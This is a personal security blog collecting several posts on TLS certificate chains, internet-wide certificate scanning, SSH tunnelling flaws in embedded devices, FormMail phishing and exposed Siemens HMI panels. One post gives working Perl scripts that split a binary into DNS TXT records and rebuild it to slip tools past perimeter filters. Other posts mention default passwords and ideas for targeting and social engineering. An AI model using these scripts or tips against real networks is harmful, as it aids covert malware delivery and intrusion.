Bob Stories

Collecting shells since 1954

TLS Certificate Chains

I made mention back in an earlier post Scanning the Internet’s SSL Certificate – Part 2 that for TLS web servers have an unusually long certificate chain. It seems I misunderstood the significance of these so I’m posting an update to clear up any confusion (especially my own).

If you are using OpenSSL’s s_client feature then you will see the chain certificates when you use the -showcerts option. The idea is that a TLS server will present not only its own certificate but also any intermediate CA certificates between it and the root certificates trusted by the client. In its simplest form a root certificate signs an intermediate which signs the server certificate, and the intermediate certificate is needed for the client to construct the chain of trust. Simple, right?

So why then when you go looking do some web servers present as many as 18 chain certificates? Surely there’s no need to have such a long chain of trust? The fact is a web server can be configured to serve a certificate chain file with any number of certificates and not all of these are necessarily used to verify the authenticity of the server certificate. A lazy sysadmin could for instance put all of the intermediate certificate used in their organisation into a single file and push this to all TLS-enabled web servers, avoid the need to match the correct intermediate chain to the server certificate. When this happens all of the certificates in the chain file are sent to the client.

So the oddity is explained and in truth is pretty mundane. I will leave you with this passing thought; certificate chains can offer a pretty stealthy covertly data channel, if you’re into that sort of thing.


Deliver your malware by DNS

This is a repost of a blog entry from back in 2010. Reading a recent blog post by Lenny Zeltser (https://zeltser.com/c2-dns-tunneling/) inspired me to repost this. Enjoy!

HTTP is probably the most common way for distributing malware and for downloading tools onto compromised systems. Too many people are still allowing unfettered access from their server farm to port 80, but perhaps things are getting better. In the hope that one day servers won’t be able to wget the latest rootkit once they’re owned what other ways are their to deliver a payload?

The domain name system allows for TXT records that can contain a text string. Once intended to hold human-readable information about a host it can and has been used to store other information such as SPF and DKIM records. Since we can feed arbitrary text data into a TXT record we could use this to store binaries data encoded as text using base64 or uuencode for example. I thought I would give this a go an wrote a little perl script to encode a file into DNS entries.
#!/usr/bin/perl
use MIME::Base64;
use Digest::MD5 qw(md5_hex);

# Get content source
$file = “nc.exe”;
$name = “nc”;
$prefix = “part”;
$domain = “.example.net.”;

open IN, “<$file" || die "Cannot open $file: $?\n"; while () { $string .= $_; } close IN; $md5 = md5_hex($string); @parts = split("\n",encode_base64($string)); $numparts = $#parts + 1; $output = "${name}${domain} IN TXT \"md5=$md5; prefix=${prefix}; parts=$numparts;\"\n"; for ($i = 0; $i <= $#parts; $i++) { $output .= "${prefix}${i}${domain} IN TXT \"$parts[$i]\"\n"; } print $output; What you get out from this script is a list BIND zone file style DNS records. I encoded the old favourite netcat and the first few lines of output are shown below. nc IN TXT "md5=28dd8edad7008289957031606f210675; prefix=part; parts=459;" part0 IN TXT "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" part1 IN TXT "AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v" part2 IN TXT "ZGUuDQ0KJAAAAAAAAABQRQAATAEFAKlLOT8AAAAAAAAAAOAADwILAQI4AFQAAABiAAAAAgAAABAA" part3 IN TXT "AAAQAAAAcAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAACwAAAABAAAVLEAAAMAAAAAACAA" The first record is a contains the metadata relating to the encoded file. It consists of the MD5 checksum of the original file, a prefix for the TXT records containing the data and the number of records the payload is split across. Add a number starting from zero to the prefix, request, increment and repeat. This script recovers the encoded file using DNS queries. #!/usr/bin/perl use MIME::Base64; use Digest::MD5 qw(md5_hex); use Net::DNS::RR; $file = "nc"; $domain = "example.net"; $res = Net::DNS::Resolver->new( nameservers => [qw(127.0.0.1)] );
my $answer = $res->query(“$file.$domain”, ‘TXT’);
@txt=$answer->answer;
($initial) = $txt[0]->char_str_list();

# extract content checksum, prefix and number of parts
$initial =~ /md5=(.*?);.*prefix=(.*?);.*parts=(.*?);/;
$md5 = $1;
$prefix = $2;
$parts = $3;

for ($i = 0; $i < $parts; $i++) { my $frag = $prefix . $i . "." . $domain; my $answer = $res->query(“$frag”, ‘TXT’);
my @frags =$answer->answer;
my ($string) = $frags[0]->char_str_list();
$payload .= $string;
}

$binary = decode_base64($payload);
if (md5_hex($binary) == $md5) {
print STDERR “md5sum matches\n”;
}

open OUT, “>testfile”;
print OUT $binary;
close OUT;
It looks like a lot more work than dropping a file on an FTP server, and to tell the truth it is, so why bother. I can think of a few reasons. Who bothers to filter DNS requests? Who bothers to check DNS responses for malicious payloads? What IDS system is going to detect an encoded file split over hundreds or thousands of DNS requests?

If we start making it harder to deliver malware by HTTP the bay guys will up their game. It’s easy to see that they don’t need to up much to defeat the perimeter controls of most organisations by abusing a service core to the way the Internet works.


PDPi-11 – a PDP-11 simulator for Raspberry Pi

So this week we hear that GE are scouting for PDP-11 assembly developers. Why you ask? Because a nuke plant in Ontario, Canada plan to keep theirs controlling plant robotics until 2050. That’s not a typo; they are looking to keep their 70’s vintage computer running the show for another 37 years.

I’m pretty sure no one on LinkedIn has an endorsement for PDP-11 assembler, highlighted by the fact that Chris Issel from GE was trawling the Vintage Computer Forums for likely candidates.

I would like to reach out to you to let you know about a fantastic opportunity in Peterborough Ontario Canada for a PDP-11 programmer. The role supports the nuclear industry who has committed to continue the use of PDP-11 until 2050!! Yes I know this is a hard-to-find (existing) skill. We will also consider programming experience with other assembly language. If you are interested, or know of anyone who is, please feel free to email me at chris.issel@ge.com.
Thanks!

So how are we to address this skill gap? Anyone who admits to PDP-11 experience may well be approaching retirement age and I’m pretty certain no one is teaching PDP-11 assembly in universities any more. Enter the frame another influential computing platform; the Raspberry Pi.

Along with the handful of commercial emulators out there there’s SIMH, a free simulator of a large number of elderly computers. Written in C, it compiles cleanly on the Raspberry Pi and allows you to play with computers long thought to be dead, outside the nuclear power industry at any rate.

I’ve taken the source and built a version for Raspbian and bundled it with some sample software including Ancient UNIX versions 6 and 7. I’ve also added some scripts which will start the simulator, configure the storage devices and provide instructions on how to get the system booted. Enjoy!

Download PDPi-11 here

Update: PDPi-11 is now available on GitHub


How not to implement SSH on embedded systems

Today’s tale of doing it wrong comes to us courtesy of Ruckus Wireless who announced in a recent security bulletin an interesting and no doubt repeated flaw in their implementation of SSH on wireless access points.

If you’re not familiar with tunneling with SSH here’s a quick primer. As well as a secure replacement for telnet, SSH offers a whole host of other features including the ability to tunnel traffic over the encrypted link. You can have SSH listen on a port send data sent to the port over the encrypted link and forward it off to another destination. I like SSH, partly because of my pathological hatred for telnet and partly because it is so useful and I’m a fan of anyone who forgoes telnet for SSH for command line access. So what have Ruckus done wrong in their implementation?

Let’s back track a little. In the days when telnet was the ubiquitous means of command line access to embedded systems manufacturers would typically provide some kind of menu-driven or bespoke command line interface for device configuration. Often these would implement authentication as well, prompting for a username and password without relying on any mechanisms provided by the embedded OS. So telnet in and you get a login prompt. Simples. But telnet being horribly insecure many cried out for a better way of doing this and a better way was found. Take the same interactive shell used for telnet and put it behind SSH instead and all our worries are gone. Well not quite.

Telnet and SSH overlap in their functionality to some degree but there’s an important area in which they do not; authentication. Typically a telnet daemon will receive a TCP connection and then hand off to another program to perform authentication. On Unix systems with would typically be /bin/login. SSH on the other hand does include the ability to authenticate users and it’s here that vulnerable implementations fall over. In order to access the configuration shell you effectively are logged in without credentials, at least from SSH’s point of view. Sure, you can’t access the device’s configuration without credentials but the keen reader will already have spotted the flaw in all this. As an authentication user you can create tunnels.

If you are familiar you’re probably aware of the sorts of shenanigans you can get up to with this. Perhaps the most flexible use is to use these devices as SOCKS proxies for tunneling your traffic and make it appear to be coming from the vulnerable device. Allison Nixon gave a greattech segment on episode 329 of Pauldotcom Security Weekly on using AWS free instances as proxy servers which explains this well. Replace the cloud server for a vulnerable device for +1 anonymity. You could of course also use the device to pivot onto any other networks attached to the vulnerable device.

This one falls squarely in the insidious class of security misconfiguration vulnerabilities. To be fair I very much doubt that Ruckus is alone in having incorrectly implemented SSH in this manner. What seems like an easy win is perilous if you do not consider the additional functionality the SSH daemon provides.


Scanning the Internet’s SSL Certificate – Part 2

In the last post I posed the question of what use all of this information would be. I’m pretty sure I don’t have an exhaustive list but here are a few ideas.

  • One use is to identify the type of device running the HTTPS server; plenty of vendors provide equipment with HTTPS administration interfaces. I’ve previously mentioned how many vendors do a less than stellar job of this, using fixed certificates and keys. Man-in-the-middle aside, using static SSL certificates allows us a way of fingerprinting devices. If a vulnerability is discovered in a particular product and you have an SSL signature then trawl your database for matches and you’ve quickly built a potential target list.
  • Let’s suppose you want to own an organisation; at some time Bob gets those urges. Grabbing a valid SSL certificate might be a good start. If you find a site that uses a wildcard certificate then this could be a high value target. If you can own that server and steal the certificate you have the power to successfully masquerade as any host from that domain for some real abuse of trust.
  • Knowledge of a certificate expiry date can also be useful. You could get props from the owner by reminding them if you’re feeling charitable. For the more sinister reader you could use this fact to help in trying to social engineer a CA to hand you a new certificate for the domain. Knowing the certificate is about to expire enriches your story and can provide leverage in getting a falsely issued certificate.
  • We could look to see which CA are the most popular. You could draw pie charts and everything. Not much of an infosec angle but hey, poeple like pictures.

Then again you can just look for oddities in the data. Take a look at the certificate chain for one of the sites scanned.

Certificate chain
0 s:/description=8yd5g3VLw04h2c8I/C=LT/CN=www.aviago.com.ua/emailAddress=postmaster@aviago.com.ua
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
1 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=IL/O=StartCom Ltd./CN=StartCom Certification Authority G2
2 s:/C=IL/O=StartCom Ltd./CN=StartCom Certification Authority G2
i:/C=IL/O=StartCom Ltd./CN=StartCom Certification Authority G2
3 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
4 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
5 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
i:/C=US/ST=Washington/L=Redmond/O=Microsoft Corporation/CN=Microsoft Code Verification Root
6 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Client CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
7 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Domain Controller CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
8 s:/C=PL/ST=Malopolskie/O=Mobile Experts sp. z o.o./CN=StartCom Class 1 Intermediate CA - Mobile Experts sp. z o.o.
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
9 s:/C=US/ST=Massachusetts/O=The City of Osmio, Inc./CN=StartCom Class 1 Intermediate CA - The City of Osmio
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
10 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 1 Primary Intermediate Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
11 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Client CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
12 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Object CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
13 s:/C=US/ST=Oregon/O=JanRain Inc./CN=StartCom Class 2 Intermediate CA - JanRain Inc.
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
14 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 2 Primary Intermediate Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
15 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 3 Primary Intermediate Client CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
16 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 3 Primary Intermediate Object CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
17 s:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Class 3 Primary Intermediate Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority
18 s:/C=IL/O=StartCom Ltd./OU=StartCom Certification Authority/CN=StartCom Extended Validation Server CA
i:/C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority

That’s pretty long. At number 5 there is what appears to be a Microsoft code signing certificate in there. I’m not certain what this means but it does seem kooky.


A blast from the past: formmail abuse

I’ve noticed an increase in phishing emails to my regular mailboxes lately with HTML forms attached. I’ve always thought of this as a bit kooky when it comes to phishing. It’s almost like you make it harder for the recipient by forcing them to open an attachment before they get to see your wonderfully branded fake banking page. The obvious benefit is that you don’t need to own up a whole lot of web servers to host your fake bank (fank?) which quickly get added to know blacklists.

Typically these form would post the stolen data to a PHP script which would then forward it on to a drop box used by the phishermen. Taking a look at the code of some of the recent examples I have seen yielded something I had not seen in quite a while; formmail CGI abuse. The venerable FormMail was last updated in 2009 and was once a very popular way of sending email from web pages using the all-powerful Perl CGI. It was also rife for abuse when web masters failed to secure their implementation as was the source of much spam.

FormMail basically takes POST data from a HTML form and generate an email based on what it receives. It almost seems a regression in technology versus hosting a fake page or PHP forwarder. As a result you can even see the email drop box listed in the form parameters.

<input type="hidden" name="recipient" value="ch4sy2@gmail.com">

Occasionally you’ll see more than one email recipient listed, protecting the miscreant from having their drop box closed before then can gather their harvest. Perhaps what they gain in not having to upload a custom script to a web server they lose in loss of opacity for their data collection. The URL of the vulnerable FormMail script is less likely to appear on a blacklist and the HTML attachment less likely to trigger anti-malware defenses.

This approach to phishing is low-tech but does have a certain elegance. Only try just as hard as you need to should be the motto of the modern Internet criminal. Advanced malware is for suckers, CGI abuse for the win!


Scanning the Internet’s SSL Certificates – Part 1

Bob’s been busy again, this time scanning the Internet SSL web servers. What has he been looking at? Bob’s been looking at the SSL certificate themselves. Why you may well ask; if you have never looked closely at a certificate you may be surprised by how much information is contained within. You have data about what the purported hostname of the server, who issued the certificate, who signed it and when it expires. Like most things if you grab a big enough data set you can draw some interesting conclusions.

If you are planning to scan the world’s web servers you’ll need a list if targets. I can’t think if a jurisdiction where looking at an SSL certificate would be a crime, if you want to use SSL/TLS you need access to this information after all. That said starting with the Alexa top 1,000,000 sites list is a good way to go. You can also scan IP address ranges but this gets a little more sketchy on the legal side, think authorised access. Scan IPs belonging to ADSL lines and you’ll no doubt turn up all sorts of goodies. You’d be surprised what people think to connect to domestic and business broadband connections. Better yet scan a range that belongs to a cell phone provided and see what someone has connected to the other end of a 3G connection. Expect to find monitoring and ICS systems out there.

So turn our attention back to the top 1,000,000 web sites. For each of these domain names Bob checked https://domain.name and https://www.domain.name to see if there is an SSL web server listening on port 443. If there was then Bob grabbed information about the site’s SSL certificate and the certificate chain i.e. which certificate authorities (if any) signed the server certificate. Crypto can seem scary and difficult but this feat is easily achievable with openssl and some simple scripting.

So what can you do with this list of seemingly meaningless data? Feed all these results into your favourite database and let the fun begin.


Security FAIL: When whether to use security is left as an exercise for the reader

Here’s a screen capture from the admin login screen for a Brocade ServerIron ADX 1000. Can you spot the DERP here?

Login page for Brocade ServerIron

It got me to thinking about why you would want to give the user a choice of using TLS/SSL or not. There are significant issues with the use of TLS/SSL for configuring things like network devices. In almost all cases you the user cannot change the SSL certificate that is used on the device and the one provided is necessarily not going to be valid because the server name on the certificate is not going to match the hostname you use to access it and it will be either self-signed or signed by a non-recognised CA. On top of that many devices use a default, static TLS/SSL certificate and key on every device so you potentially leave yourself vulnerable to MITM if these can be copied form a device or firmware file.

I’ve not heard of anyone doing this in the wild (probably because I don’t mix in the right circles) but I could well imagine a policy enforced on web browsers not to allow users to ignore and bypass TLS/SSL certificate warnings. Sounds like a good measure to defeat the heavily re-enforced behaviour of clicking OK to everything. So the alternative? Don’t use TLS/SSL on these logins, that way we can login from ultra-secure environments with locked down workstations. Joy.

The ways in which TLS/SSL is used, abuse and flatly ignored makes my head spin. If you are going to do TLS/SSL right I for one would like to see an implementation support the following:

  • Allow you to change the server certificate and CA certificate to something valid, either a certificate from a recognised CA or from your own CA. You can have browsers correctly validate the host is who it says it is. This is a key part of why we use TLS/SSL in addition to encrypting the traffic.
  • Allow for mutual TLS/SSL authentication. Even if you need a username/password to access the device checking for a valid client certificate helps prevent unauthorised users from accessing the administration console.

 


How to make a 4 digit passcode even less secure

Bob is a guy who presses buttons. See a button, press it, see what happens. It’s what hackers do. So when Bob sees a virtual button on a touch screen interface what happens?

I’m not certain that short of having no authentication at all that security UI design gets any worse than this. Bob did make a half-hearted attempt to contact the vendor but didn’t get a response so technically Bob just dropped 0-day on the Mardix iPDU. Can’t see Vupen knocking down the doors to get exclusivity on this one. Genies, bottles and all that.


BCSD – Stuff that ought not be on t’interwebs

What’s does BCSD mean? It’s an acronym sometimes used for phallicly-challenged drivers of large automobiles but I’ve another meaning in mind; Badly Configured SCADA Device. There are plenty of them out there for sure. Now before I go on let me make it clear what I mean by SCADA. There’s a lot of FUD out there on this topic and far be it from me to pile onto that bandwagon. Take the acronym at face value; if your popcorn maker is computer controlled and records temperature that’s as control and data acquisition system. Not that exciting sure but probably something that ought not be on t’interwebs, right? Not every SCADA system runs a billion dollar assembly line or a fission reactor.

Bob recently sent me a tale of his research (nice try Bob, you’re just plain nosy and you know it) into one particular device, namely Siemens Simatic range of HMI panels. These are Windows CE based touchscreen human-machine interface display devices and are linked to a wide variety of automated systems. So what contributes to these being a BCSD? Firstly of all they provide unauthenticated telnet access. When I pressed him on this Bob didn’t know if they come out of the box like this but the mere fact that you can run telnet with no login does not bode well. You might think that security was not at the forefront of the developer’s mind when this was built.

You can also manage these critters using HTTP. Most of the functionality, save the file browser, is available without having to authenticate. But that’s cool, you can always telnet in if you want to see what’s stored on the device. Oh and there’s also VNC. Siemens have included a nice little Java VNC client in the web server. Now before you get too excited it does prompt for a password. Just a password. Not a username and password. Just as password. Oh and the default password is 100. Nice.

So here’s where the fun begins. Bob sent some of the choice BCSD screen shots of stuff that ought not be on t’interwebs.

So what is this exactly? We see something that looks like flames, a temperature gauge and some strange values in drop down boxes. What’s your guess as to it’s purpose? This is the control panel for a crematorium. Wow, what the hell is this doing on the Internet? That’s just plain creepy, thanks Bob. Is Obese the default setting on this thing? *shudder*

What about this one? It’s the control panel from a funicular railway. How quanit, sounds like the sort of thing you ride when you’re on holiday. A slightly less creepy voyeurism tool than the previous one for the trainspotters out there or a fun-sized Scalextric set for grown-ups? You decide.

And this one? File this under WTF meaning I haven’t a clue what it’s supposed to be. Bob pointed out that this one allowed user interaction with the screen. I did mention earlier that these are touchscreen device right? So now you can reach out and touch… whatever the hell this is. The word “Fermentor” make me think this is a brewery or a sewage treatment plant.

What’s the moral of this Bob story? Take a product with a poor security architecture, hook it up to control whatever and then plonk it on the Internet. What could possibly go wrong?